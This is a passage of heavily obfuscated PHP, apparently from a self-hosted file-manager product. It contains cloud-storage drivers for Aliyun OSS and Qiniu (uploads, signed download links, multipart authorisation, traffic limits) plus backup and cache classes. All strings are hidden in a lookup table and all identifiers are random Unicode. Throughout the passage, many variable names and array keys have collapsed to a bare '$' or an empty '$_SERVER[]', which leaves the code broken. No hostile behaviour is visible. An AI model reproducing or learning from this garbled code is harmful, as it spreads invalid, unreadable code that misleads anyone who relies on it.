$_SERVER[]; $ёΉ = empty($) ? $迦[1494] : $; $ = array($迦[37], $迦[239], $迦[1493], $迦[1494]); if (!in_array($ёΉ, $)) { return !1; } try { $this->client->putObjectAcl($this->bucket, $this->pathEncode($), $ёΉ); } catch (OSS\Core\OssException $پ) { $this->writeLog(__FUNCTION__ . $迦[224] . $پ->getMessage()); return !1; } return !0; } public function getContent($ɮʜ) { return $this->fileSubstr($ɮʜ, -1); } public function setContent($, $ = '') { $ɱ =& $_SERVER[]; try { $ = $this->trafficLimit($ɱ[1495]); $Ť = $this->client->putObject($this->bucket, $this->pathEncode($), $, $); } catch (OSS\Core\OssException $) { $this->writeLog(__FUNCTION__ . $ɱ[224] . $->getMessage()); return !1; } $޺ = array($ɱ[1489] => trim($Ť[$ɱ[1486]], $ɱ[131]), OSS\OssClient::OSS_CONTENT_TYPE => get_file_mime(get_path_ext($))); $this->updateObjMeta($, $޺); return isset($Ť[$ɱ[1496]][$ɱ[301]]) ? !0 : !1; } private function updateObjMeta($աή, $԰) { $աή = $this->pathEncode($աή); try { $֎ = array(OSS\OssClient::OSS_HEADERS => $԰); $this->client->copyObject($this->bucket, $աή, $this->bucket, $աή, $֎); } catch (OSS\Core\OssException $о) { $this->writeLog(__FUNCTION__ . $_SERVER[][224] . $о->getMessage()); return !1; } return !0; } public function upload($, $պ, $ȸ = false, $ä = REPEAT_REPLACE) { $ӫ =& $_SERVER[]; $ = trim($, $ӫ[8]); $ȕۍ = array(OSS\OssClient::OSS_CHECK_MD5 => !0, OSS\OssClient::OSS_PART_SIZE => 1024 * 1024 * 10, OSS\OssClient::OSS_HEADERS => array($ӫ[1489] => @md5_file($պ)), OSS\OssClient::OSS_CONTENT_TYPE => get_file_mime(get_path_ext($))); $ȕۍ = $this->trafficLimit($ӫ[1495], $ȕۍ); try { $this->client->multiuploadFile($this->bucket, $this->pathEncode($), $պ, $ȕۍ); } catch (OSS\Core\OssException $Ƚ) { $this->writeLog(__FUNCTION__ . $ӫ[224] . $Ƚ->getMessage()); return !1; } return $this->getPathOuter($); } public function getHost() { $Ǎ =& $_SERVER[]; $ڛ = explode($Ǎ[220], parent::getHost()); return $ڛ[0] . $Ǎ[220] . $this->bucket . $Ǎ[10] . $ڛ[1]; } public function uploadFormData($, $ = 3600) { $Ł =& $_SERVER[]; if (!($ډؙ = $this->getHost())) { return !1; } $ = $; $ = date($Ł[1497], time() + $); $ؑ = new DateTime($); $ = $ؑ->format(DateTime::ISO8601); $ = strpos($, $Ł[381]); $ = substr($, 0, $) . $Ł[1498]; $ǃ = 1048576000 * 5; $IJ = $this->pathFather($); $ː = array($Ł[284] => $, $Ł[287] => array(array($Ł[1499], 0, $ǃ), array($Ł[290], $Ł[291], $IJ))); $¨ = base64_encode(json_encode($ː)); $➫ = base64_encode(hash_hmac($Ł[272], $¨, $this->secret, !0)); $ʾ = array($Ł[302] => $¨, $Ł[1500] => $this->accessKey, $Ł[294] => $Ł[283], $Ł[1501] => $➫, $Ł[218] => $ډؙ); $ʾ = $this->trafficLimit($Ł[1495], $ʾ); return $ʾ; } public function multiUploadFormData($, $ = 3600) { $ةݩ =& $_SERVER[]; if (!($ = $this->getHost())) { return !1; } $ھ = $this->trafficLimit($ةݩ[1495]); $∁ = $this->client->initiateMultipartUpload($this->bucket, $this->pathEncode($), $ھ); return array($ةݩ[264] => $∁, $ةݩ[218] => $ . $ةݩ[8] . $this->pathEncode($), $ةݩ[265] => gmdate($ةݩ[1502]), $ةݩ[107] => $); } public function multiUploadAuthData($׸ޙ, $ = array()) { $߈ =& $_SERVER[]; $ = isset($[$߈[265]]) ? $[$߈[265]] : gmdate($߈[1502]); $؁ = isset($[$߈[179]]) ? $[$߈[179]] : $߈[12]; $䦿ޔ = $׸ޙ; if (isset($[$߈[107]])) { $䦿ޔ = $[$߈[107]]; unset($[$߈[107]]); } if (isset($[$߈[266]])) { $[$߈[265]] = $; return $this->listUploadParts($䦿ޔ, $); } $ = array($߈[267], $߈[12], $߈[133], $, "\x78\55\x6f\x73\x73\55\x64\x61\164\x65\x3a{$}", $߈[8] . $this->bucket . $߈[8] . $䦿ޔ . $؁); if (strpos($؁, $߈[268]) === 0) { $[0] = $߈[269]; if ($ۄ = $this->trafficLimit($߈[1495])) { $䦿ޔ = $߈[1503]; array_splice($, 5, 0, $䦿ޔ . $߈[4] . $ۄ[$䦿ޔ]); } } if (isset($[$߈[270]]) && $[$߈[270]] == $߈[271]) { $[0] = $߈[271]; } if (!empty($[$߈[1504]])) { $ = array_merge(array($[4]), $[$߈[1504]]); sort($); $[4] = implode($߈[65], $); } $Ѽ = implode($߈[65], $); $ = base64_encode(hash_hmac($߈[272], $Ѽ, $this->secret, !0)); $ = $߈[1472] . $this->accessKey . $߈[4] . $; if (strpos($؁, $߈[268]) === 0) { $ = array($߈[274] => $, $߈[265] => $); if ($ۄ) { $ = array_merge($, $ۄ); } } return $; } public function listUploadParts($ķ, $) { $ =& $_SERVER[]; $ǟ = parse_url_query($[$[179]]); $諧 = $this->client->listParts($this->bucket, $this->pathEncode($ķ), $ǟ[$[264]]); $ = $諧->getListPart(); $ƒ = array(); foreach ($ as $ʁ) { $ƒ[] = array($[317] => $ʁ->getPartNumber(), $[318] => trim($ʁ->getETag(), $[131])); } unset($[$[266]], $[$[270]]); $퓣 = $this->multiUploadAuthData($ķ, $); if (empty($퓣)) { return !1; } return array($[274] => $퓣, $[265] => $[$[265]], $[276] => $ƒ); } public function download($̇؎, $ڰ) { $ݫ =& $_SERVER[]; if ($this->isFolder($̇؎)) { return !1; } try { $Ψ = array(OSS\OssClient::OSS_FILE_DOWNLOAD => $ڰ); $Ψ = $this->trafficLimit($ݫ[122], $Ψ); $this->client->getObject($this->bucket, $this->pathEncode($̇؎), $Ψ); } catch (OSS\Core\OssException $) { $this->writeLog(__FUNCTION__ . $ݫ[224] . $->getMessage()); return !1; } return $ڰ; } public function fileSubstr($, $ǝ = 0, $³ = false) { if ($ǝ === -1) { $՛޸ = array(); } else { if ($³ === !1) { $뇦 = $this->size($); } else { $뇦 = $ǝ + $³ - 1; } $՛޸ = array(OSS\OssClient::OSS_RANGE => "{$ǝ}\x2d{$뇦}"); } try { return $this->client->getObject($this->bucket, $this->pathEncode($), $՛޸); } catch (OSS\Core\OssException $Dzڢ) { $this->writeLog(__FUNCTION__ . $_SERVER[][224] . $Dzڢ->getMessage()); think_exception($Dzڢ->getMessage()); return !1; } } private function trafficLimit($вٽ, $ = array()) { $ =& $_SERVER[]; if ($вٽ == $[1495] && $this->isUploadServer() || $вٽ == $[122] && $this->isFileOutServer()) { return $; } $ = floatval($GLOBALS[$[6]][$[102]][$[120]][$вٽ]) * 1024 * 1024 * 8; if (!$) { return $; } $ = $ < 819200 ? 819200 : ($ > 838860800 ? 838860800 : $); $[OSS\OssClient::OSS_TRAFFIC_LIMIT] = intval($); return $; } public function link($ӻ, $䒍 = array()) { $Գ =& $_SERVER[]; if (!$this->exist($ӻ) || $this->isFolder($ӻ)) { return !1; } try { $䒍 = $this->trafficLimit($Գ[122], $䒍); $ = $this->client->signUrl($this->bucket, $this->pathEncode($ӻ), 3600 * 12, $Գ[271], $䒍); return $this->getCdnLink($); } catch (OSS\Core\OssException $) { $this->writeLog(__FUNCTION__ . $Գ[224] . $->getMessage()); return !1; } } public function fileOut($, $ = false, $շ̟ = false, $Ӽ = '') { $ =& $_SERVER[]; if ($this->isFileOutServer()) { return $this->fileOutServer($, $, $շ̟, $Ӽ); } if (!$շ̟) { $շ̟ = $this->pathThis($); } $շ̟ = rawurlencode($շ̟); $󗲆 = get_file_mime(get_path_ext($շ̟)); if ($󗲆 == $[258]) { return parent::fileOut($, $, $շ̟, $Ӽ); } $ = $ ? $[1505] : $[1506]; $ҁ = array(OSS\OssClient::OSS_SUB_RESOURCE => $[1507] . rawurlencode("{$}\x3b\146\x69\x6c\145\x6e\x61\155\145\75{$շ̟}")); $ҁ[OSS\OssClient::OSS_SUB_RESOURCE] .= $[1508] . rawurlencode($󗲆); $숞 = $this->link($, $ҁ); $this->fileOutLink($숞); } public function fileOutServer($ϟﴳ, $̈́ = false, $Ζ = false, $ = '') { parent::fileOut($ϟﴳ, $̈́, $Ζ, $); } public function fileOutImage($ߠ, $ = 250) { if ($this->size($ߠ) > 1024 * 1024 * 20) { return $this->fileOutImageServer($ߠ, $); } $ڴœ = array(OSS\OssClient::OSS_PROCESS => $_SERVER[][1469] . $); $ = $this->link($ߠ, $ڴœ); $this->fileOutLink($); } public function fileOutImageServer($ε, $޾ = 250) { parent::fileOutImage($ε, $޾); } public function fileOutLink($ݹ) { $ӵ =& $_SERVER[]; if (!$this->isCdnHost() && substr($ݹ, 0, 7) == $ӵ[322]) { $ݹ = $ӵ[323] . substr($ݹ, 7); } header($ӵ[185] . $ݹ); die; } public function hashMd5($ؐ, $ˇ = '') { $ =& $_SERVER[]; $ = $this->_objectMeta($ؐ); if (!$) { return $[12]; } if (!isset($[$[1489]]) && !empty($ˇ)) { $IJ = $this->updateObjMeta($ؐ, array($[1489] => $ˇ)); $[$[1489]] = $IJ ? $ˇ : $[12]; } return isset($[$[1489]]) ? strtolower($[$[1489]]) : $[12]; } public function size($̕) { $ = $this->objectMeta($̕); return $ ? $[$_SERVER[][89]] : 0; } public function info($) { if ($this->isFolder($)) { return $this->folderInfo($); } else { if ($this->isFile($)) { return $this->fileInfo($); } } return !1; } public function exist($҆Œ) { return $this->isFile($҆Œ) || $this->isFolder($҆Œ); } public function isFile($) { return !$this->isFolder($) && $this->objectMeta($); } public function isFolder($) { return $this->cacheMethod($_SERVER[][189], $); } protected function objectMeta($ꄂ) { return $this->cacheMethod($_SERVER[][191], $ꄂ); } protected function _objectMeta($۟) { $ =& $_SERVER[]; try { $ = $this->client->getObjectMeta($this->bucket, $this->pathEncode($۟)); } catch (OSS\Core\OssException $) { $this->writeLog(__FUNCTION__ . $[224] . $->getMessage()); $ = !1; } if ($) { $[$[89]] = intval($[$[1487]]); } return $; } protected function _isFolder($뉔) { $⮅ =& $_SERVER[]; if ($뉔 == $⮅[12] || $뉔 == $⮅[8]) { return !0; } $ԡ = array($⮅[1482] => $⮅[8], $⮅[1483] => rtrim($뉔, $⮅[8]) . $⮅[8], $⮅[1484] => 1, $⮅[1485] => $⮅[12]); $ = $this->client->listObjects($this->bucket, $ԡ); if ($->getObjectList() || $->getPrefixList()) { return !0; } return !1; } public function writeLog($͈˿ = '', $ = false) { $䧓 =& $_SERVER[]; $ = in_array(ACTION, array($䧓[222], $䧓[223])); if (!$ && !GLOBAL_DEBUG) { return; } $ = 0; if (stripos($͈˿, $䧓[1509]) !== !1) { $ = 1; $¨ = explode($䧓[1510], $͈˿); $͈˿ = !empty($¨[1]) ? $¨[1] : $͈˿; } else { if (stripos($͈˿, $䧓[1511])) { $ = 2; $¨ = explode($䧓[1511], $͈˿); $¨ = explode($䧓[4], $¨[0]); $͈˿ = !empty($¨[1]) ? $¨[1] : $͈˿; } } if ($ && I18n::getType() == $䧓[1512]) { if ($ == 1) { $͈˿ = str_replace($䧓[1513], $䧓[1514], $͈˿); } else { if ($ == 2) { $¨ = explode($䧓[224], $¨[0]); $ɥ = isset($¨[1]) ? $¨[1] : $䧓[12]; $ = array($䧓[1515] => $䧓[1516], $䧓[1517] => $䧓[1518], $䧓[1519] => $䧓[1520], $䧓[1521] => $䧓[1522], $䧓[1523] => $䧓[1524], $䧓[1525] => $䧓[1526], $䧓[1527] => $䧓[1528], $䧓[1529] => $䧓[1530], $䧓[1531] => $䧓[1532], $䧓[1533] => $䧓[1534]); if (isset($[$ɥ])) { $͈˿ = $[$ɥ]; } } } if (stripos($͈˿, $䧓[1535])) { $͈˿ = $䧓[1536]; } } if (!trim($͈˿)) { return; } parent::writeLog(trim($͈˿), $); } } class PathDriverQiniu extends PathDriverBase { protected $accessKey = ''; protected $secret = ''; protected $domain = ''; protected $region = ''; protected $bucket = ''; protected $auth = null; protected $client = null; protected $bucketManager = null; public $ioUploadServer = "\60"; public $ioFileOutServer = "\x30"; public $config = array(); public function __construct($) { parent::__construct(); require_once SDK_DIR . $_SERVER[][1537]; $this->_init($); } public function _init($㤗) { $Ɲ =& $_SERVER[]; $this->config = $㤗; foreach ($㤗 as $饯 => $) { if (isset($this->{$饯})) { $this->{$饯} = $; } } if (empty($this->accessKey) || empty($this->secret) || empty($this->domain)) { throw new Exception($Ɲ[1538] . LNG($Ɲ[1473])); } $this->auth = new Qiniu\Auth($this->accessKey, $this->secret); $this->client = new Qiniu\Rtc\AppClient($this->auth); $this->configView = new \Qiniu\Config(); $this->bucketManager = new \Qiniu\Storage\BucketManager($this->auth, $this->configView); } public function setBucketCors() { return !0; } public function getBucketCors() { return !0; } public function isBucketCors() { return !0; } public function mkfile($ڭ, $ = '', $ = REPEAT_RENAME) { if ($this->setContent($ڭ, $)) { return $this->getPathOuter($ڭ); } return !1; } public function mkdir($ߞ, $ = REPEAT_SKIP) { $ =& $_SERVER[]; $ = trim($ߞ, $[8]); if ($this->_isFolder($)) { return $this->getPathOuter($); } $ߞ = $ . $[8]; $މ = get_path_this($); $ϋ = $ߞ . $މ; if (!$this->mkfile($ϋ)) { return !1; } if (!$this->moveFile($ϋ, $ߞ)) { $this->delFile($ϋ); return !1; } return $this->getPathOuter($); } public function copyFile($Ƴꧢ, $) { $َ = $this->bucketManager->copy($this->bucket, $Ƴꧢ, $this->bucket, $, !0); return $َ ? !1 : $this->getPathOuter($); } public function moveFile($, $) { $ѣ = $this->bucketManager->move($this->bucket, $, $this->bucket, $, !0); return $ѣ ? !1 : $this->getPathOuter($); } public function delFile($Ҍ) { if (!$this->exist($Ҍ)) { return !0; } $ĒЕ = $this->bucketManager->delete($this->bucket, $Ҍ); return $ĒЕ ? !1 : !0; } public function delFolder($Ʋ) { $ã =& $_SERVER[]; if (!$this->exist($Ʋ)) { return !0; } $this->listItemCache = !1; $ = $this->fileList($Ʋ); $this->listItemCache = !0; $ = trim($Ʋ, $ã[8]) . $ã[8]; if (!empty($Ʋ) && $Ʋ !== $ã[238] && !in_array($, $[$ã[95]])) { $[$ã[95]][] = $; } $ӈ = $this->delByBatch($[$ã[96]]); if (!$ӈ) { return !1; } $ӈ = $this->delByBatch($[$ã[95]]); if (!$ӈ) { return !1; } return $this->delFile($); } private function delByBatch($ӓ) { foreach (array_chunk($ӓ, 1000) as $٩ݎ) { $蕚 = $this->bucketManager->buildBatchDelete($this->bucket, $٩ݎ); list($, $薒) = $this->bucketManager->batch($蕚); if ($薒) { return !1; } } return !0; } public function rename($, $͚) { return $this->renameObject($, $͚); } public function fileInfo($, $ = false, $˰ = array()) { $ٽ =& $_SERVER[]; $“˓ = array($ٽ[32] => $this->pathThis($), $ٽ[97] => $this->getPathOuter($ٽ[8] . $), $ٽ[33] => $ٽ[240], $ٽ[89] => isset($˰[$ٽ[1539]]) ? $˰[$ٽ[1539]] : 0, $ٽ[179] => $this->ext($)); if ($) { return $“˓; } $“˓[$ٽ[241]] = $“˓[$ٽ[98]] = 0; $“˓[$ٽ[242]] = $“˓[$ٽ[243]] = !0; if (empty($˰)) { $˰ = $this->objectMeta($); if (!$˰) { return $“˓; } } if (isset($˰[$ٽ[244]]) && $˰[$ٽ[244]]) { $“˓[$ٽ[245]] = $˰[$ٽ[244]]; } if (isset($˰[$ٽ[255]]) && $˰[$ٽ[255]]) { $“˓[$ٽ[245]] = $˰[$ٽ[255]]; } if (isset($˰[$ٽ[1540]])) { $“˓[$ٽ[98]] = substr($˰[$ٽ[1540]] . $ٽ[12], 0, 10); } if (isset($˰[$ٽ[1539]])) { $“˓[$ٽ[89]] = $˰[$ٽ[1539]]; } return $“˓; } public function folderInfo($ޡ, $Ĺ = false) { $ӝ =& $_SERVER[]; $ = array($ӝ[32] => $this->pathThis($ޡ), $ӝ[97] => $this->getPathOuter($ӝ[8] . $ޡ), $ӝ[33] => $ӝ[88]); if ($Ĺ) { return $; } $[$ӝ[241]] = $[$ӝ[98]] = 0; $[$ӝ[242]] = $[$ӝ[243]] = !0; $ޡ = rtrim($ޡ, $ӝ[8]) . $ӝ[8]; $ = $this->objectMeta($ޡ); if (isset($[$ӝ[1540]])) { $[$ӝ[98]] = substr($[$ӝ[1540]] . $ӝ[12], 0, 10); } return $; } public function listPath($, $ = false) { $ =& $_SERVER[]; $Ă = $this->fileList($, $[8], !0); foreach ($Ă[$[95]] as $囮 => $) { $Ă[$[95]][$囮] = $this->folderInfo($, $); } foreach ($Ă[$[96]] as $囮 => $) { $Ă[$[96]][$囮] = $this->fileInfo($[$[107]], $, $); } return $Ă; } public function has($, $ = false, $ɋ = true) { $ =& $_SERVER[]; $ = trim($, $[8]); $ɝ = empty($) && $ !== $[238] ? $[12] : $ . $[8]; $ = $[12]; $ = 500; $ꍯ = $[8]; $झ = $ = 0; while (!0) { check_abort(); list($, $ݣ) = $this->bucketManager->listFiles($this->bucket, $ɝ, $, $, $ꍯ); if ($ݣ) { break; } $ = array_key_exists($[1485], $) ? $ = $[$[1541]] : $[12]; if ($) { if (!empty($[$[1542]])) { $झ += count($[$[1542]]); } if (!empty($[$[1543]])) { $ += count($[$[1543]]); } if ($ === $[12]) { break; } continue; } if ($ɋ) { if (!empty($[$[1542]])) { return !0; } } else { if (!empty($[$[1543]])) { return !0; } } if ($ === $[12]) { break; } } if ($) { return array($[249] => $झ, $[250] => $); } return !1; } public function listAll($˧) { $ǃҘ =& $_SERVER[]; $ᣐ = $this->fileList($˧, $ǃҘ[12], !0); $֢ҟ = array_to_keyvalue($ᣐ[$ǃҘ[96]], $ǃҘ[32]); foreach ($ᣐ[$ǃҘ[95]] as $ܿ) { if (is_string($ܿ)) { $֢ҟ[$ܿ] = array($ǃҘ[89] => 0); } } return $this->listAllFiles($˧, $֢ҟ); } private function fileList($, $ = '', $ݻ = 0) { $ =& $_SERVER[]; $ = trim($, $[8]); $叨 = empty($) && $ !== $[238] ? $[12] : $ . $[8]; $ܮ = $[12]; $ = 1000; $ܬη = $ = array(); while (!0) { check_abort(); list($ϽͿ, $⡮) = $this->bucketManager->listFiles($this->bucket, $叨, $ܮ, $, $); if ($⡮) { break; } $ܮ = array_key_exists($[1485], $ϽͿ) ? $ܮ = $ϽͿ[$[1541]] : $[12]; $¼ = isset($ϽͿ[$[1542]]) ? $ϽͿ[$[1542]] : array(); $ƛ = isset($ϽͿ[$[1543]]) ? $ϽͿ[$[1543]] : array(); foreach ($¼ as $Ʉ) { if ($Ʉ[$[107]] == $叨) { continue; } $žɷ = $Ʉ[$[107]]; $ = $Ʉ[$[1539]]; $Ʉ[$[89]] = $; $ʄ = $ == 0 && substr($žɷ, strlen($žɷ) - 1, 1) == $[8] ? !0 : !1; $this->cacheMethodInfoSet($žɷ, $ʄ, $Ʉ); if ($ʄ) { $ܬη[] = $žɷ; continue; } $[] = $ݻ ? $Ʉ : $žɷ; } foreach ($ƛ as $žɷ) { if ($žɷ == $叨) { continue; } $ܬη[] = $žɷ; $this->cacheMethodInfoSet($žɷ, !0); } if ($ܮ === $[12]) { break; } } $this->cacheMethodInfoSet($, !0); return array($[95] => $ܬη, $[96] => $); } public function canRead($ꍱ) { return $this->exist($ꍱ) ? !0 : !1; } public function canWrite($ҵ) { return $this->exist($ҵ) ? !0 : !1; } public function getContent($ހ) { return $this->fileSubstr($ހ, 0, -1); } public function setContent($ƍ獓, $ = '') { $̻ = $this->tempFile($this->pathThis($ƍ獓)); file_put_contents($̻, $); if ($this->upload($ƍ獓, $̻)) { $this->tempFileRemve($̻); return !0; } return !1; } public function refreshUrls($) { $ݎʾ =& $_SERVER[]; $ȁ = array(); if (is_array($)) { foreach ($ as $) { $ȁ[] = $this->link($); } } else { $ȁ[] = $this->link($); } $ = new Qiniu\Cdn\CdnManager($this->auth); list($, $ס) = $->refreshUrls($ȁ); if ($ס) { return !1; } return $[$ݎʾ[1275]] == $ݎʾ[848] ? !0 : !1; } public function fileSubstr($Ә, $ɠ, $㨺) { $̼ͽ =& $_SERVER[]; if (!($݈ = $this->link($Ә))) { return !1; } $ = !1; if ($㨺 > 0) { $ = $ɠ + $㨺 - 1; $ = array($̼ͽ[1544] . $ɠ . $̼ͽ[471] . $); } $Ġ = url_request($݈, $̼ͽ[271], !1, $); return $Ġ[$̼ͽ[839]] ? $Ġ[$̼ͽ[1298]] : !1; } public function upload($ǜ, $, $ = false, $Լ = REPEAT_REPLACE) { $ = new Qiniu\Storage\UploadManager(); $ۗ = $this->auth->uploadToken($this->bucket, $ǜ); $؞ = get_file_mime(get_path_ext($)); list($, $ɋ) = $->putFile($ۗ, $ǜ, $, null, $؞); return $ɋ ? !1 : $this->getPathOuter($ǜ); } public function uploadFormData($輬ې, $ͻ = 3600) { return $this->uploadToken($輬ې, $ͻ); } public function multiUploadFormData($ʫ, $桫 = 3600) { return $this->uploadToken($ʫ, $桫); } private function uploadToken($Ϣ, $ = 3600) { $ =& $_SERVER[]; $аԴ = $; $î = array($[1545] => $[1546]); $ = $Ϣ; $񞌑 = $this->auth->uploadToken($this->bucket, $, $аԴ, $î, !0); $ = empty($this->region) || $this->region == $[1547] ? $[12] : $[471] . $this->region; $ = http_type() . "\x3a\57\x2f\165\x70\x6c\157\x61\x64{$}\x2e\161\x69\x6e\x69\165\160\x2e\143\157\x6d\x2f"; return array($[1548] => $񞌑, $[1549] => $); } public function download($㉨ߠ, $) { $䳍 = IO::getPathInner(IO::mkfile($)); if (!($ҳ™ = $this->link($㉨ߠ))) { return !1; } $– = 0; $ڞ = 1024 * 200; $ = fopen($䳍, $_SERVER[][1550]); while (!0) { $ = $this->fileSubstr($㉨ߠ, $–, $ڞ); if ($ === !1) { return !1; } fwrite($, $); $– += $ڞ; if (strlen($) < $ڞ) { break; } } fclose($); return $; } public function link($ۛ, $ì = '') { if (!$this->isFile($ۛ)) { return !1; } $ = $this->getHost() . $_SERVER[][8] . $this->pathEncode($ۛ) . $ì; return $this->auth->privateDownloadUrl($, 3600 * 12); } public function fileOut($ݼ, $ԥ = false, $ݿ = false, $ = '') { $ =& $_SERVER[]; if ($this->isFileOutServer()) { return $this->fileOutServer($ݼ, $ԥ, $ݿ, $); } if (!$ݿ) { $ݿ = $this->pathThis($ݼ); } $ = $ԥ ? $[1551] . rawurlencode($ݿ) : $[12]; $ = $this->link($ݼ, $); $this->fileOutLink($); } public function fileOutServer($, $ = false, $ = false, $ٝ = '') { parent::fileOut($, $, $, $ٝ); } public function fileOutImage($, $ǎ = 250) { if ($this->size($) > 1024 * 1024 * 20) { return $this->fileOutImageServer($, $ǎ); } $ = $this->link($, $_SERVER[][1552] . $ǎ); $this->fileOutLink($); } public function fileOutImageServer($, $ = 250) { parent::fileOutImage($, $); } public function hashMd5($) { $Զ֟ =& $_SERVER[]; $ = $this->objectMeta($); return isset($[$Զ֟[255]]) ? $[$Զ֟[255]] : !1; $ɻƑ = $this->link($, $Զ֟[1553]); } public function size($˽) { $ = $this->objectMeta($˽); return $ ? $[$_SERVER[][89]] : 0; } public function info($ǽ) { if ($this->isFolder($ǽ)) { return $this->folderInfo($ǽ); } else { if ($this->isFile($ǽ)) { return $this->fileInfo($ǽ); } } return !1; } public function exist($ر) { return $this->isFile($ر) || $this->isFolder($ر); } public function isFile($¼) { return !$this->isFolder($¼) && $this->objectMeta($¼); } public function isFolder($) { return $this->cacheMethod($_SERVER[][189], $); } protected function objectMeta($㾕) { return $this->cacheMethod($_SERVER[][191], $㾕); } protected function _objectMeta($) { $ =& $_SERVER[]; list($, $) = $this->bucketManager->stat($this->bucket, $); if ($) { $[$[89]] = intval($[$[1539]]); } return $; } protected function _isFolder($ʳӎ) { $̗ =& $_SERVER[]; if ($ʳӎ == $̗[12] || $ʳӎ == $̗[8]) { return !0; } list($, $ݹ) = $this->bucketManager->listFiles($this->bucket, trim($ʳӎ, $̗[8]) . $̗[8], $̗[12], 1, $̗[8]); return !empty($[$̗[1542]]) || !empty($[$̗[1543]]) ? !0 : !1; } } goto dڴֆ; dψ퉭: class BackupFile { public function __construct() { } public function index() { $ = Backup::get(); $ = $[$_SERVER[][378]][$_SERVER[][240]][$_SERVER[][550]]; $ = array($_SERVER[][551] => array($_SERVER[][897], $), $_SERVER[][898] => array($_SERVER[][416], $[$_SERVER[][841]])); $ԍ = (int) Model($_SERVER[][878])->where($)->count($_SERVER[][550]); $ݾ = (int) Model($_SERVER[][878])->where($)->sum($_SERVER[][89]); $ط = new TaskFileTransfer($_SERVER[][899], $_SERVER[][872], $ԍ, LNG($_SERVER[][873]) . $_SERVER[][874] . LNG($_SERVER[][900])); $ط->task[$_SERVER[][852]] = $ݾ; $趒 = array($_SERVER[][901] => $ԍ, $_SERVER[][902] => $ݾ, $_SERVER[][903] => time()); Backup::set($趒); $臡 = !0; $ = $this->storeIds(); $ɯ = 1; $Ǹ١ = 1000; $ = $ = 0; $ؒ = array(); $ܱ = $ = 0; do { $… = $_SERVER[][904]; $ = Model($_SERVER[][878])->where($)->field($…)->order($_SERVER[][905])->selectPage($Ǹ١, $ɯ); $ = !empty($[$_SERVER[][454]]) ? $[$_SERVER[][454]] : array(); foreach ($ as $줒) { if (!$this->_fileExist($줒, $ؒ, $)) { write_log("\x66\151\x6c\x65\40\156\x6f\164\40\145\x78\151\x73\x74\x2e\146\151\154\x65\x49\x44\72{$줒[$_SERVER[][550]]}\x2c\40\x70\x61\164\x68\72{$줒[$_SERVER[][97]]}", $_SERVER[][906]); continue; } $⾲ = $줒[$_SERVER[][97]]; $ = "\x7b\151\157\x3a{$[$_SERVER[][841]]}\175" . substr($⾲, strlen("\x7b\151\157\x3a{$줒[$_SERVER[][907]]}\x7d")); if (IO::exist($)) { $ط->updateFileEnd($줒[$_SERVER[][32]], $줒[$_SERVER[][89]]); } else { $ = get_path_father($); IO::mkdir($); if (!IO::copy($⾲, $, $_SERVER[][908])) { write_log($_SERVER[][909] . $⾲ . $_SERVER[][893] . $ . $_SERVER[][188], $_SERVER[][872]); $臡 = !1; break; } } $ = $줒[$_SERVER[][550]]; $ += 1; $ += $줒[$_SERVER[][89]]; $ += 1; $ܱ += $줒[$_SERVER[][89]]; if ($ >= 1024 * 1024 * 100) { $趒 = array($_SERVER[][840] => $, $_SERVER[][910] => $, $_SERVER[][911] => $ܱ); Backup::set($趒); $ = $ = 0; } } $ȯ = count($); $ɯ++; } while ($ȯ == $Ǹ١); $ط->end(); $趒 = array($_SERVER[][912] => 1, $_SERVER[][850] => time(), $_SERVER[][864] => 1, $_SERVER[][840] => $, $_SERVER[][913] => time()); if ($) { $趒[$_SERVER[][910]] = $; $趒[$_SERVER[][911]] = $ܱ; } Backup::set($趒); return !0; } private function _fileExist($㞹, &$إ, $) { $կ =& $_SERVER[]; $ق = $㞹[$կ[97]]; if (in_array($㞹[$կ[550]], $إ)) { return !1; } if (!in_array($㞹[$կ[907]], $)) { return !1; } if (IO::exist($ق)) { return !0; } $ʨ = get_path_father($ق); if (IO::exist($ʨ)) { $إ[] = $㞹[$կ[550]]; return !1; } $ = array($կ[907] => $㞹[$կ[907]], $կ[97] => array($կ[468], "{$ʨ}\x25")); $ = Model($կ[878])->where($)->field($կ[551])->select(); $إ = array_merge($إ, array_to_keyvalue($, $կ[12], $կ[550])); return !1; } private function _fileFilter($) { $ =& $_SERVER[]; return; if (empty($)) { return; } $ǜз = array($[550] => array($[7], array_unique($))); $ = Model($[914])->where($ǜз)->field($[203])->select(); foreach ($ as $ѵ) { Model($[914])->remove($ѵ[$[203]], !1); } } private function storeIds() { $ʫ =& $_SERVER[]; $ = Model($ʫ[856])->listData(); $ = array(); $ = $GLOBALS[$ʫ[6]][$ʫ[102]][$ʫ[915]]; foreach ($ as $) { $ = strtolower($[$ʫ[108]]); if (!isset($[$])) { continue; } $ф߁ = $ʫ[87] . (isset($[$]) ? $[$] : ucfirst($)); if (!class_exists($ф߁)) { continue; } $[] = $[$ʫ[484]]; } return $; } } class Cache { protected static $handle; protected static $memoryCache; public static function init() { $ǖ =& $_SERVER[]; if (self::$handle) { return self::$handle; } self::$memoryCache = array(); $۩ = $GLOBALS[$ǖ[6]][$ǖ[434]]; $߬ = $۩[$۩[$ǖ[916]]]; $ȴ = $۩[$ǖ[917]]; switch ($۩[$ǖ[916]]) { case $ǖ[21]: self::$handle = Model($ǖ[918]); break; case $ǖ[919]: self::$handle = new CacheRedis($߬, $ȴ); break; case $ǖ[920]: self::$handle = new CacheMemcached($߬, $ȴ); break; case $ǖ[240]: self::$handle = new CacheFile($߬, $ȴ); break; default: break; } return self::$handle; } public static function initReset() { self::$handle = !1; self::$memoryCache = !1; } public static function key($ͩƮ) { if (is_array($ͩƮ) || is_object($ͩƮ)) { $ͩƮ = json_encode($ͩƮ); } $ͩƮ = rawurlencode($ͩƮ); return md5(KOD_SITE_ID . $_SERVER[][11] . $ͩƮ); } public static function get($Ȉ, $ = false) { $޺ = self::key($Ȉ); $ = self::init(); if ($) { return unserialize($->get($޺)); } if (!isset(self::$memoryCache[$޺])) { $ = $->get($޺); self::$memoryCache[$޺] = unserialize($); } return self::$memoryCache[$޺]; } public static function set($, $, $ = false) { $䮛 =& $_SERVER[]; $ = self::key($); if (isset(self::$memoryCache[$]) && self::$memoryCache[$] === $) { return !0; } if ($ === 0) { self::$memoryCache[$] = $; return !0; } $ = self::init(); $򖋥 = serialize($); CacheLock::lock($ . $䮛[921]); $ВӉ = $->set($, $򖋥, $); self::$memoryCache[$] = $; CacheLock::unlock($ . $䮛[921]); return $ВӉ; } public static function getCall($, $橰į, $Ǜ, $ = array()) { $ٓ =& $_SERVER[]; $ = self::get($); if ($ || $ === $ٓ[12]) { return $; } $ = call_user_func_array($Ǜ, $); $ = $ ? $ : $ٓ[12]; self::set($, $, $橰į); return $; } public static function remove($) { 